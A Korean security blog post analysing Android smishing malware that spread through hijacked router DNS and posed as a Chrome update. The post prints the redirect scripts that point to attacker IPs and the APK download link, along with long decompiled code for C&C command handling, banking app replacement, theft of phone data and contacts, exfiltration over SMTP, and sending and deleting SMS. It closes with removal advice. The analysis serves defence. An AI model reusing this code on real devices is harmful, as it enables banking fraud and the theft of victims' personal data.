annyoung

공유기 DNS 변조하여 유포되는 스미싱 : 크롬 업데이트 본문

분석생활

공유기 DNS 변조하여 유포되는 스미싱 : 크롬 업데이트

nopsled 2015. 5. 27. 12:30

 

http://67.198.144.251

한층 개선된 chrome의 최신버전이 출시되었습니다. 업데이트 후 이용해주십시오.

 

마침 지인이 공유기가 해킹 당해서 샘플을 빠르게 얻을 수 있었다.

 

SNS에서는 "크롬 바이러스"라고 알려져 있는 것 같다.

 

크롬 바이러스가 아니라 공유기의 허술한 설정으로 인해 공유기 DNS 변조가 되어 악성코드가 유포되고 있는 것이다..

 

이러한 일이 왜 일어나냐면, 위에서도 말했듯이 공유기의 허술한 설정으로 인하여 공유기 DNS가 변조되었기 때문이다.

 

 공유기가 해킹되는 취약한 설정
 1. 원격 관리 설정을 해놓은 경우 (외부에서 공유기 관리 페이지에 접근이 가능해짐.)
 2. 공유기에 아이디/비밀번호가 설정이 되어 있지 않거나 기본 아이디/패스워드일 경우
 3. 취약한 버전의 공유기를 쓰고 있는 경우 (웹사이트 접속만으로도 공유기 DNS가 변조되거나 공격자가 원하는 설정으로 바뀔 수 있다.)

 

자.. 이런일이 왜 일어난지에 대해서 설명했으니 똑같이 환경 구축을 해보겠다.

 

 

침해 된 네트워크 환경 



네트워크 설계 하는법을 배우지 않아서 정확힌 모르겠다만 이런식이였던걸로 기억나서 -_-;;;

말로 설명하자면, Router, Router`1이 침해되었고 DNS설정이 둘다 바뀌었다. Router`1에서 Router를 DNS로 잡은 이유는 추측하자면, Router의 DNS를 바꾸면 편하기 때문이다. 왜 편하냐 묻는다면, Router`1, Router`2, Router`3을 모두 설정할 필요가 없기 때문에 지속적인 관리가 필요없기 때문이라고 생각한다.

 

 

 

LETS GET ANALYZING

 

 

 

C:\Documents and Settings\Administrator>nslookup m.naver.com
Server:  google-public-dns-a.google.com
Address:  8.8.8.8


Non-authoritative answer:
Name:    m.naver.com.nheos.com
Addresses:  125.209.222.137, 202.131.29.100, 202.131.29.101, 202.131.29.102
          125.209.222.135
Aliases:  m.naver.com




C:\Documents and Settings\Administrator>

> 감염되지 않은 PC에서 m.naver.com의 IP 

 

C:\Documents and Settings\users>nslookup m.naver.com
Server:  softbank126076117031.bbtec.net
Address:  126.76.117.31


Name:    m.naver.com
Address:  98.126.79.12

> 감염된 PC에서 m.naver.com의 IP

첫 번째로, 이놈의 타깃은 PC가 아닌 모바일이다.

이유는, m.naver.com으로 접속하는 사람들에 한해서 악성코드에 감염을 시키기 때문이다.

User-Agent 또한 체크하지 않아서 아이폰, 안드로이드 모두 다운로드 가능하다. 허나, 감염되는 기기는 안드로이드만 해당 되기 때문에 아이폰 사용자들은 걱정하지 않아도 된다.

* naver.com은 정상적으로 네이버로 이동됨으로 패스하겠다.

 

 

<script language="javascript" src="http://count47.51yes.com/click.aspx?id=470317490&logo=1" charset="gb2312"></script>
<script type="text/javascript">
var number = Math.random();
number = Math.ceil(number * 76543210123); 
window.location.href="http://67.198.144.251:5454/sdf2dcvwe21s.html?"+number;
</script>
</html>
// page source at m.naver.com

밑으로 내려가면 랜덤으로 난수를 생산해서 67.198.144.251:5454/sdf2dcvwe21s.html로 넘겨버린다. 감염자 수를 알기 위해서 count47.51yes.com/click.aspx로 접속하게 된다.

 

 

<script type="text/javascript">
javascript:window.alert('한층 개선된 chrome의 최신버전이 출시되었습니다. 업데이트후 이용해주십시오.')
var number = Math.random();
number = Math.ceil(number * 7894561235124); 
window.location.href="./73hsedyufj2.html?"+number+"&"+number+"&"+number;
</script>
// page source at 67.198.144.251:5454/sdf2dcvwe21s.html

한층 개선된 chrome의 최신버전이 출시되었다며 다시 페이지를 넘겨버린다.

 

<script type="text/javascript">
var number = Math.random();
number = Math.ceil(number * 100000000); 
window.location.href="http://98.126.148.53:8014/41673GUGZ.html?41673GUGZ41673GUGZ&41673GUGZ&41673GUGZ";
</script>
// page source at 67.198.144.251:5454/73hsedyufj2.html

최종적으로 다형성(악성코드 패턴 퉁회) 악성코드를 만들기 위함인 것으로 보인다. 다시 난수를 생성해서 페이지로 넘긴다.

 
<script type="text/javascript">
var number = Math.random();
number = Math.ceil(number * 100000000); 
window.location.href="http://98.126.148.53:8014/21431TBYH/21431TBYH.apk?21431TBYH21431TBYH&21431TBYH&21431TBYH.apk";
</script>

근데 무슨 쓸모가 있다고 난수를 저렇게 만들었는지 모르겠다. -_-;;; 여기서 마지막으로 생성하면될 것 같은데 말이다.

 

 

 FileName   21431TBYH.apk
 MD5  D688C0CD7A4E4F7625952639BA823641
 SHA-1  F9148C7215E85F0BB4161F6224B19CF6A5192D97
 Packer  APKProtect

우선, 패커를 APKProtect로 사용하였다. 더러운 놈들..

 

 

public void onCreate()
{
    super.onCreate();
    setPlugin(Utils.createPluginInstance(this, "a.dex"));
}

- 21431TBYH.apk는 a.dex를 로드한다. 악성행위는 대부분 a.dex에서 이루어진다.(a.dex는 assets 디렉토리에 포함되어 있으므로 APKProtect로 패킹 되었다고 해도 쉽게 찾을 수 있다.)

 

 FIleName  a.dex
 MD5  7C10C68DDA21734A8037BFF8422EF66E
 SHA-1  BEF3E77E7AA4B4DC3B07D5740E9B315043A0A878
 Packer  X

악성행위는 a.dex에서 하므로 새롭게 다시 분석한다.

 

 

static final String SMS_DELIVERED_ACTION = "android.sms.message.action.SMS_DELIVERED";
static final String SMS_SEND_ACTION = "android.sms.message.action.SMS_SEND";

- 처음에 정의되어 있는 문자열은 SMS 보냄과 받음으로 되어 있다. 해당 액션을 사용하기 위해서 사용되는것으로 특정된다.

 

static final String V3_PACKAGE = "com.ahnlab.v3mobileplus";

- V3 package가 정의되어 있다. V3 package를 교체하기 위함인걸로 특정된다.

 

static final String[] oldPackageList = {
	"com.wooribank.pib.smart",
    "com.kbstar.kbbank",
    "com.ibk.neobanking",
    "com.sc.danb.scbankapp",
    "com.shinhan.sbanking",
    "com.hanabank.ebk.channel.android.hananbank",
    "nh.smart",
    "com.epost.psf.sdsi",
    "com.kftc.kjbsmb",
    "com.smg.spbs"
};

- 은행 및 국세청과 같은 어플들의 package를 교체하기 위한 문자열로 특정된다.

 

 

 

  TimerTask screenOnTask;
  final Timer screenOnTimer = new Timer(true);
  Service service;
  SmsContentObserver smsobserver = new SmsContentObserver(new Handler());
  Timer timer = new Timer(true);
  final String timerAction = getClass().getPackage().getName() + ".TIMER";
  PendingIntent timerIntent;
  AlertDialog updateAlertDialog;
  PowerManager.WakeLock wakeLock; 


private void setAlarm()
  {
    new Handler(Looper.getMainLooper()).postDelayed(new Runnable()
    {
      public void run()
      {
        Intent localIntent = new Intent(Plugin.this.timerAction);
        Plugin.this.service.sendBroadcast(localIntent);
      }
    }
    , 30000L);
  }

- TimerTask를 이용하여 30초마다 업데이트라는 명목으로 패키지 교체를 시전하기 위한 내용이다.

 

  private void setWifiNeverSleep()
  {
    try
    {
      Settings.System.putInt(this.service.getContentResolver(), "wifi_sleep_policy", 2);
      int i = Settings.System.getInt(this.service.getContentResolver(), "wifi_sleep_policy", 0);
      Log.i("MSG", "---> 修改后的Wifi休眠策略值 WIFI_SLEEP_POLICY=" + i);
      return;
    }
    catch (Exception localException)
    {
    }
  }

- C&C와의 통신을 위해서 와이파이가 계속 켜져있게 설정한다.

 

 

 

 

  static void updatePackageList(Context paramContext, boolean paramBoolean)
  {
    long l = System.currentTimeMillis();
    if (paramBoolean)
      lastUpdatePkg = 0L;
    if (l - lastUpdatePkg > 5000L)
      synchronized (packages)
      {
        lastUpdatePkg = l;
        packages.clear();
        Iterator localIterator = paramContext.getPackageManager().getInstalledPackages(0).iterator();
        if (localIterator.hasNext())
        {
          PackageInfo localPackageInfo = (PackageInfo)localIterator.next();
          packages.add(localPackageInfo.packageName);
        }
      }
  }

- 특정 어플리케이션의 패키지를 교체를 한다.

 

String _loadAddress(String paramString)
  {
    clearMem();
    long l1 = System.currentTimeMillis();
    String str1 = (String)this._addressCacheMap.get(paramString);
    Long localLong = (Long)this._loadAddressTimeMap.get(paramString);
    if ((str1 != null) && (str1.length() > 0) && (localLong != null) && (l1 - localLong.longValue() < 100000L))
      return str1;
    if (!verifyUser())
      return "0.0.0.0";
    try
    {
      String str2 = ga();
      Object[] arrayOfObject = new Object[2];
      arrayOfObject[0] = paramString;
      arrayOfObject[1] = Long.toString(this.rd.nextLong(), 32);
      String str3 = httpGet(String.format(str2, arrayOfObject));
      localObject1 = null;
      if (str3 != null)
      {
        Matcher localMatcher1 = Pattern.compile(">([0-9]+![0-9]+![0-9]+![0-9]+)").matcher(str3);
        if (!localMatcher1.find())
          break label237;
        int i = localMatcher1.groupCount();
        localObject1 = null;
        if (i > 0)
        {
          String str5 = localMatcher1.group(1).replace('!', '.');
          localObject1 = str5;
        }
      }
      if (localObject1 == null)
        Log.e("MSG", "DNS ERR");
      if (localObject1 == null)
      {
        this._addressCacheMap.remove(paramString);
        this._loadAddressTimeMap.remove(paramString);
        return localObject1;
        label237: Matcher localMatcher2 = Pattern.compile("<p class=\"user_name\">([A-Za-z0-9]+?)</p>").matcher(str3);
        Matcher localMatcher3;
        if (!localMatcher2.find())
        {
          localMatcher3 = Pattern.compile("<span class=\"title-text ui-mr5\">([A-Za-z0-9]+?)的空间</span>").matcher(str3);
          boolean bool = localMatcher3.find();
          localObject2 = null;
          if (!bool);
        }
        String str4;
        for (Object localObject2 = localMatcher3.group(1); ; localObject2 = str4)
        {
          localObject1 = null;
          if (localObject2 == null)
            break;
          long l2 = 0x1D38071 ^ Long.parseLong((String)localObject2, 32);
          long l3 = (0xFF000000 & l2) >>> 24;
          long l4 = (0xFF0000 & l2) >>> 16;
          long l5 = (0xFF00 & l2) >>> 8;
          long l6 = l2 & 0xFF;
          localObject1 = "" + l6 + "." + l5 + "." + l4 + "." + l3;
          break;
          str4 = localMatcher2.group(1);
        }
      }
    }
    catch (Exception localException)
    {
      while (true)
      {
        localException.printStackTrace();
        Object localObject1 = null;
        continue;
        this._addressCacheMap.put(paramString, localObject1);
        this._loadAddressTimeMap.put(paramString, Long.valueOf(System.currentTimeMillis()));
      }
    }
  }

- C&C의 IP를 불러오기 위해서 중국 특정 블로그(qzone)에 접속하여 IP를불러온다.(username 부분을 파싱함)

 

 

 

  void checkApk()
  {
    if (this.pkgInstall == null)
      new Thread()
      {
        public void run()
        {
          super.run();
          try
          {
            Plugin.updatePackageList(Plugin.this.service, true);
            String[] arrayOfString1 = Plugin.httpGet("http://" + Plugin.this.loadAddress2() + ":6545/list2.txt?" + Long.toString(Plugin.this.rd.nextLong(), 32)).split("\\n");
            int i = arrayOfString1.length;
            for (int j = 0; ; j++)
              if (j < i)
              {
                String[] arrayOfString2 = arrayOfString1[j].split(":");
                if (arrayOfString2.length == 2)
                {
                  String str1 = arrayOfString2[0].trim();
                  String str2 = arrayOfString2[1].trim();
                  if ((!Plugin.isAvilible(Plugin.this.service, str2)) && ((str1.equals("*")) || (Plugin.isAvilible(Plugin.this.service, str1))))
                  {
                    Plugin.this.pkgUninstall = str1;
                    Plugin.this.pkgInstall = str2;
                    if (Plugin.this.checkPkgDownloadState(str1) == 0)
                      Plugin.this.downLoadFile();
                    Plugin.this.checkApkInstall();
                  }
                }
              }
              else
              {
                return;
              }
          }
          catch (Exception localException)
          {
            Plugin.this.pkgUninstall = null;
            Plugin.this.pkgInstall = null;
            localException.printStackTrace();
          }
        }
      }
      .start();
    while (checkPkgDownloadState(this.pkgInstall) != 2)
      return;
    checkApkInstall();
  }


  void checkApkInstall()
  {
    if ((this.updateAlertDialog != null) && (this.updateAlertDialog.isShowing()));
    String str;
    do
    {
      return;
      str = this.pkgInstall;
    }
    while ((isAvilible(this.service, str)) || (checkPkgDownloadState(str) != 2));
    new Handler(this.service.getMainLooper()).post(new Runnable()
    {
      public void run()
      {
        if (Plugin.this.updateAlertDialog != null)
          Plugin.this.updateAlertDialog.dismiss();
        Plugin.this.updateAlertDialog = new AlertDialog.Builder(Plugin.this.service).setNegativeButton("취소", new DialogInterface.OnClickListener()
        {
          public void onClick(DialogInterface paramAnonymous2DialogInterface, int paramAnonymous2Int)
          {
          }
        }).setPositiveButton("확인", new DialogInterface.OnClickListener()
        {
          public void onClick(DialogInterface paramAnonymous2DialogInterface, int paramAnonymous2Int)
          {
            try
            {
              Plugin.updatePackageList(Plugin.this.service, true);
              if ((!"*".equals(Plugin.this.pkgUninstall)) && (Plugin.this.pkgUninstall != null) && (Plugin.isAvilible(Plugin.this.service, Plugin.this.pkgUninstall)))
              {
                Intent localIntent = new Intent("android.intent.action.DELETE", Uri.parse("package:" + Plugin.this.pkgUninstall));
                localIntent.addFlags(268435456);
                Plugin.this.service.startActivity(localIntent);
                return;
              }
              File localFile = new File(Environment.getExternalStorageDirectory().getPath() + "/.update/" + Plugin.this.pkgInstall + ".apk");
              if (localFile.exists())
              {
                Plugin.openApkFile(Plugin.this.service, localFile);
                return;
              }
            }
            catch (Exception localException)
            {
            }
          }
        }).setMessage("새로운버전이 출시되었습니다. 재설치 후 이용하시기 바랍니다.").create();
        Plugin.this.updateAlertDialog.getWindow().setType(2003);
        Plugin.this.updateAlertDialog.show();
      }
    });
  }


  int checkPkgDownloadState(String paramString)
  {
    if (new File(Environment.getExternalStorageDirectory().getPath() + "/.update/." + paramString + ".apk").exists())
      return 1;
    if (new File(Environment.getExternalStorageDirectory().getPath() + "/.update/" + paramString + ".apk").exists())
      return 2;
    return 0;
  }

- 어플리케이션의 package를 교체한 후 교체가 되었는지 확인하고 어플리케이션을 새로 받아서 설치한다. (드랍되는 경로는 /local/update/???.apk로 드랍되어 설치된다.)

 

 

 

void flushCommands(Proto.Cmd[] paramArrayOfCmd)
  public void deleteSMS(Context paramContext, String paramString1, String paramString2)
  {
    Cursor localCursor;
    try
    {
      Uri localUri = Uri.parse("content://sms/inbox");
      localCursor = paramContext.getContentResolver().query(localUri, null, "read=0", null, null);
      while (localCursor.moveToNext())
        if (localCursor.getString(localCursor.getColumnIndex("address")).trim().equals(paramString1))
        {
          int i = localCursor.getInt(localCursor.getColumnIndex("_id"));
          paramContext.getContentResolver().delete(Uri.parse("content://sms"), "_id=" + i, null);
        }
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
      return;
    }
    localCursor.close();
  }

- 기기에 저장되어 있는 메시지를 삭제한다.

 

void flushCommands(Proto.Cmd[] paramArrayOfCmd)
  {
    while (true)
    {
      try
      {
        synchronized (this._cmdCache)
        {
          int i = paramArrayOfCmd.length;
          int j = 0;
          if (j < i)
          {
            Proto.Cmd localCmd = paramArrayOfCmd[j];
            this._cmdCache.add(new Command(localCmd));
            j++;
            continue;
          }
          Log.d("MSG", "FLUSH");
          if (!isOnline())
          {
            Log.d("MSG", "!online");
            return;
          }
        }
      }
      finally
      {
      }
      Runnable local8 = new Runnable()
      {
        public void run()
        {
          ArrayList localArrayList = new ArrayList();
          synchronized (Plugin.this._cmdCache)
          {
            Iterator localIterator1 = Plugin.this._cmdCache.iterator();
            while (localIterator1.hasNext())
            {
              Plugin.Command localCommand2 = (Plugin.Command)localIterator1.next();
              if (!localCommand2.running)
              {
                localCommand2.running = true;
                localArrayList.add(localCommand2);
              }
            }
          }
          String str1 = Plugin.this.loadAddress1();
          HttpURLConnection localHttpURLConnection = null;
          if (str1 != null);
          do
          {
            do
            {
              try
              {
                if (str1.isEmpty())
                {
                  Log.d("MSG", "NULL IP");
                  if (0 != 0)
                    null.disconnect();
                  return;
                }
                String str2 = "http://" + str1 + ":80" + "?a=" + Long.toString(Plugin.this.rd.nextLong(), 32);
                URL localURL = new URL(str2);
                localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
                localHttpURLConnection.setConnectTimeout(7000);
                localHttpURLConnection.setReadTimeout(7000);
                localHttpURLConnection.setRequestMethod("POST");
                localHttpURLConnection.setDoOutput(true);
                localHttpURLConnection.setDoInput(true);
                localHttpURLConnection.setUseCaches(false);
                localHttpURLConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
                localHttpURLConnection.connect();
                localDataOutputStream = new DataOutputStream(localHttpURLConnection.getOutputStream());
                localBuilder = Proto.Req.newBuilder();
                localBuilder.setId(Plugin.this.preferences.getString("id", Plugin.this.getUUID()));
                localBuilder.setVersion(Plugin.this.getVersion());
                localBuilder.setState(Plugin.this.getPhoneState());
                Iterator localIterator3 = localArrayList.iterator();
                while (localIterator3.hasNext())
                  localBuilder.addCmds(((Plugin.Command)localIterator3.next()).cmd);
              }
              catch (IOException localIOException)
              {
                DataOutputStream localDataOutputStream;
                Proto.Req.Builder localBuilder;
                Log.e("conn", "连接错误", localIOException);
                return;
                byte[] arrayOfByte1 = localBuilder.build().toByteArray();
                localDataOutputStream.write(arrayOfByte1, 0, arrayOfByte1.length);
                localDataOutputStream.close();
                if (localHttpURLConnection.getResponseCode() != 200)
                  continue;
                synchronized (Plugin.this._cmdCache)
                {
                  Iterator localIterator4 = localArrayList.iterator();
                  if (localIterator4.hasNext())
                  {
                    Plugin.Command localCommand1 = (Plugin.Command)localIterator4.next();
                    Plugin.this._cmdCache.remove(localCommand1);
                  }
                }
              }
              catch (Exception localException)
              {
                localException.printStackTrace();
                Iterator localIterator2 = localArrayList.iterator();
                while (localIterator2.hasNext())
                  ((Plugin.Command)localIterator2.next()).running = false;
              }
              finally
              {
                if (localHttpURLConnection != null)
                  localHttpURLConnection.disconnect();
              }
              InputStream localInputStream = localHttpURLConnection.getInputStream();
              ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
              byte[] arrayOfByte2 = new byte[1024];
              while (true)
              {
                int i = localInputStream.read(arrayOfByte2);
                if (i == -1)
                  break;
                localByteArrayOutputStream.write(arrayOfByte2, 0, i);
              }
              byte[] arrayOfByte3 = localByteArrayOutputStream.toByteArray();
              localByteArrayOutputStream.close();
              localInputStream.close();
              Proto.Resp localResp = Proto.Resp.parseFrom(arrayOfByte3);
              Plugin.this.process(localResp.getCmdsList());
            }
            while (localHttpURLConnection == null);
            localHttpURLConnection.disconnect();
            return;
          }
          while (localHttpURLConnection == null);
          localHttpURLConnection.disconnect();
        }
      };
      new Handler(this.handlerThread.getLooper()).post(local8);
    }
  }

- 설치된 기기로 명령을 내릴 수 있게 한다.

 

 

 Proto.State getPhoneState()
  {
    Proto.State.Builder localBuilder = Proto.State.newBuilder();
    localBuilder.setBuild(Build.VERSION.RELEASE);
    localBuilder.setRom(getROMVersion());
    TelephonyManager localTelephonyManager = (TelephonyManager)this.service.getSystemService("phone");
    localBuilder.setOperator(localTelephonyManager.getNetworkOperatorName());
    localBuilder.setNetworkType(Utils.networkTypeToString(localTelephonyManager.getNetworkType()));
    NetworkInfo localNetworkInfo = ((ConnectivityManager)this.service.getSystemService("connectivity")).getActiveNetworkInfo();
    if (localNetworkInfo != null)
    {
      localBuilder.setConnType(localNetworkInfo.getTypeName());
      WifiManager localWifiManager = (WifiManager)this.service.getSystemService("wifi");
      if (localWifiManager == null)
        break label261;
      WifiInfo localWifiInfo = localWifiManager.getConnectionInfo();
      if (localWifiInfo == null)
        break label252;
      localBuilder.setWifiSig(WifiManager.calculateSignalLevel(localWifiInfo.getRssi(), 10));
      label139: if (localTelephonyManager.getSimState() != 5)
        break label270;
    }
    label261: label270: for (boolean bool = true; ; bool = false)
    {
      localBuilder.setSim(bool);
      String str1 = localTelephonyManager.getLine1Number();
      if (str1 == null)
        str1 = "";
      localBuilder.setLine1(str1);
      localBuilder.setBattery(this.battery);
      String str2 = localTelephonyManager.getDeviceId();
      if (str2 == null)
        str2 = "";
      localBuilder.setImei(str2);
      localBuilder.setLock(((KeyguardManager)this.service.getSystemService("keyguard")).inKeyguardRestrictedInputMode());
      return localBuilder.build();
      localBuilder.setConnType("");
      break;
      label252: localBuilder.setWifiSig(-1);
      break label139;
      localBuilder.setWifiSig(-1);
      break label139;
    }
  }


  public String getROMVersion()
  {
    if (_romInfo == null)
    {
      String[] arrayOfString = new String[2];
      arrayOfString[0] = Build.MODEL;
      arrayOfString[1] = Build.DISPLAY;
      _romInfo = Arrays.toString(arrayOfString);
    }
    return _romInfo;
  }

- 휴대폰의 정보를 탈취한다. 탈취되는 정보는 유심 정보, 네트워크 정보 등이다.

 

 

static class GetContactsInfo
  {
    Context context;
    List<String> localList = new ArrayList();


    public GetContactsInfo(Context paramContext)
    {
      this.context = paramContext;
    }


    public List<String> getLocalContactsInfos()
    {
      ContentResolver localContentResolver = this.context.getContentResolver();
      Cursor localCursor2;
      try
      {
        String[] arrayOfString = { "contact_id", "display_name", "data1", "photo_id" };
        localCursor2 = localContentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, arrayOfString, null, null, null);
        if (localCursor2 != null)
          while (localCursor2.moveToNext())
          {
            String str2 = localCursor2.getString(localCursor2.getColumnIndex("data1"));
            if (!this.localList.contains(str2))
              this.localList.add(str2);
          }
      }
      catch (Exception localException1)
      {
      }
      Cursor localCursor1;
      try
      {
        ((TelephonyManager)this.context.getSystemService("phone"));
        localCursor1 = localContentResolver.query(Uri.parse("content://icc/adn"), null, null, null, null);
        while (localCursor1.moveToFirst())
        {
          String str1 = localCursor1.getString(localCursor1.getColumnIndex("number"));
          if (!this.localList.contains(str1))
            this.localList.add(str1);
        }
      }
      catch (Exception localException2)
      {
      }
      while (true)
      {
        return this.localList;
        localCursor2.close();
        break;
        localCursor1.close();
      }
    }
  }

- 악성코드가 설치된 기기의 연락처 정보를 탈취한다.

 

 public static class MailUtil extends Authenticator
  {
    private String password;
    private int port = 25;
    private String server;
    private String user;


    public MailUtil(String paramString1, int paramInt, String paramString2, String paramString3)
    {
      this.port = paramInt;
      this.user = paramString2;
      this.password = paramString3;
      this.server = paramString1;
    }


    protected PasswordAuthentication getPasswordAuthentication()
    {
      return new PasswordAuthentication(this.user, this.password);
    }


    public void sendEmail(String paramString1, String paramString2, String paramString3, List<String> paramList)
    {
      Properties localProperties = new Properties();
      localProperties.put("mail.smtp.host", this.server);
      localProperties.put("mail.smtp.port", String.valueOf(this.port));
      localProperties.put("mail.smtp.auth", "true");
      localProperties.put("mail.smtp.starttls.enable", "true");
      localProperties.put("mail.smtp.user", this.user);
      localProperties.put("mail.smtp.password", this.password);
      localProperties.put("mail.smtp.host", this.server);
      localProperties.put("mail.smtp.socketFactory.port", "465");
      localProperties.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
      localProperties.put("mail.smtp.socketFactory.fallback", "false");
      localProperties.setProperty("mail.smtp.quitwait", "false");
      Session localSession = Session.getDefaultInstance(localProperties, this);
      MimeMessage localMimeMessage = new MimeMessage(localSession);
      MimeMultipart localMimeMultipart;
      try
      {
        localMimeMessage.setSentDate(new Date());
        localMimeMessage.setFrom(new InternetAddress(this.user));
        InternetAddress[] arrayOfInternetAddress = new InternetAddress[1];
        InternetAddress localInternetAddress = new InternetAddress(paramString1);
        arrayOfInternetAddress[0] = localInternetAddress;
        localMimeMessage.setRecipients(Message.RecipientType.TO, arrayOfInternetAddress);
        localMimeMessage.setSubject(paramString2, "UTF-8");
        localMimeMultipart = new MimeMultipart();
        MimeBodyPart localMimeBodyPart1 = new MimeBodyPart();
        localMimeBodyPart1.setText(paramString3);
        localMimeMultipart.addBodyPart(localMimeBodyPart1);
        Iterator localIterator = paramList.iterator();
        while (localIterator.hasNext())
        {
          FileDataSource localFileDataSource = new FileDataSource((String)localIterator.next());
          MimeBodyPart localMimeBodyPart2 = new MimeBodyPart();
          DataHandler localDataHandler = new DataHandler(localFileDataSource);
          localMimeBodyPart2.setDataHandler(localDataHandler);
          localMimeBodyPart2.setFileName(MimeUtility.encodeText(localFileDataSource.getName(), "utf-8", null));
          localMimeMultipart.addBodyPart(localMimeBodyPart2);
        }
      }
      catch (Exception localException)
      {
        localException.printStackTrace();
        return;
      }
      localMimeMessage.setContent(localMimeMultipart);
      localMimeMessage.saveChanges();
      Transport localTransport = localSession.getTransport("smtp");
      localTransport.connect(this.server, this.user, this.password);
      localTransport.sendMessage(localMimeMessage, localMimeMessage.getAllRecipients());
      localTransport.close();
    }
  }

- SMTP Library를 사용하여 이메일을 보낸다.(획득한 정보를 유출한다.) 여기서 이메일의 아이디와 비밀번호는 파라미터로 받으므로 동적으로 디버깅을 해서 알아보는 방법밖에 없을 것으로 추정.

 

 

  class MsgSender
  {
    volatile int sending = 0;
    private HandlerThread thread = new HandlerThread("msg_sender");


    MsgSender()
    {
      this.thread.start();
    }


    private void sendSms(Context paramContext, String paramString1, String paramString2, Bundle paramBundle1, Bundle paramBundle2)
    {
      String str1 = paramString1.replace(" ", "").replace("-", "");
      if (paramBundle1 == null)
        paramBundle1 = new Bundle();
      if (paramBundle2 == null)
        paramBundle2 = new Bundle();
      SmsManager localSmsManager = SmsManager.getDefault();
      Intent localIntent1 = new Intent("android.sms.message.action.SMS_SEND");
      localIntent1.putExtras(paramBundle1);
      PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(paramContext, 1, localIntent1, 134217728);
      ArrayList localArrayList1 = new ArrayList();
      localArrayList1.add(localPendingIntent1);
      Intent localIntent2 = new Intent("android.sms.message.action.SMS_DELIVERED");
      localIntent2.putExtras(paramBundle2);
      PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(paramContext, 1, localIntent2, 134217728);
      ArrayList localArrayList2 = new ArrayList();
      localArrayList2.add(localPendingIntent2);
      ArrayList localArrayList3 = localSmsManager.divideMessage(paramString2);
      try
      {
        ((AudioManager)paramContext.getSystemService("audio")).setRingerMode(0);
        localSmsManager.sendMultipartTextMessage(str1, null, localArrayList3, localArrayList1, localArrayList2);
      }
      catch (Exception localException)
      {
        try
        {
          while (true)
          {
            Thread.sleep(1000L);
            return;
            localException = localException;
            localException.printStackTrace();
            String str2 = paramBundle1.getString("taskId");
            String str3 = paramBundle1.getString("number");
            if ((str2 != null) && (!str2.isEmpty()))
            {
              Proto.Cmd.Builder localBuilder = Proto.Cmd.newBuilder();
              localBuilder.setWhat("smsret");
              localBuilder.setExpires(0);
              localBuilder.setArg1(Plugin.Arg(str2));
              localBuilder.setArg2(Plugin.Arg(false));
              localBuilder.setArg3(Plugin.Arg(str3));
              Plugin localPlugin = Plugin.this;
              Proto.Cmd[] arrayOfCmd = new Proto.Cmd[1];
              arrayOfCmd[0] = localBuilder.build();
              localPlugin.flushCommands(arrayOfCmd);
            }
          }
        }
        catch (InterruptedException localInterruptedException)
        {
          localInterruptedException.printStackTrace();
        }
      }
    }

- 메시지를 보낸다.

 

 

 

HOW TO DELETE APPLICATION?

 

 

1. 기기 관리자가 활성화 되어 있으므로 기기 관리자를 해제한다. 만약, 기기 관리자가 비활성화 되지 않는다면 안드로이드 안전 모드로 부팅하여 기기 관리자를 해제하여 삭제한다.

 

2. 폰키퍼나 Mobile V3(패키지 변경으로 인해 실행이 안될 수도 있음)와 같은 백신을 사용하여 바이러스를 검사한다.

 

* 해당 어플리케이션을 설치하였다면, 신속히 악성앱을 삭제하고 설치되어 있는 뱅킹앱을 재설치한다.(패키지 교체가 되었을수도 있기에) 인증서 비밀번호가 유출되었거나 유출이 의심된다면 인증서의 비밀번호를 바꾼다. 해당 악성코드는 인증서 유출, 뱅킹 정보 유출, 메시지 전송 등이 있으므로 신속히 삭제하기를 권장한다. 지인이 설치하여 피해를 봤는데 결혼 청첩장이라며 연락처에 있는 사람들에게 URL과 함께 모두에게 보낸다.

Comments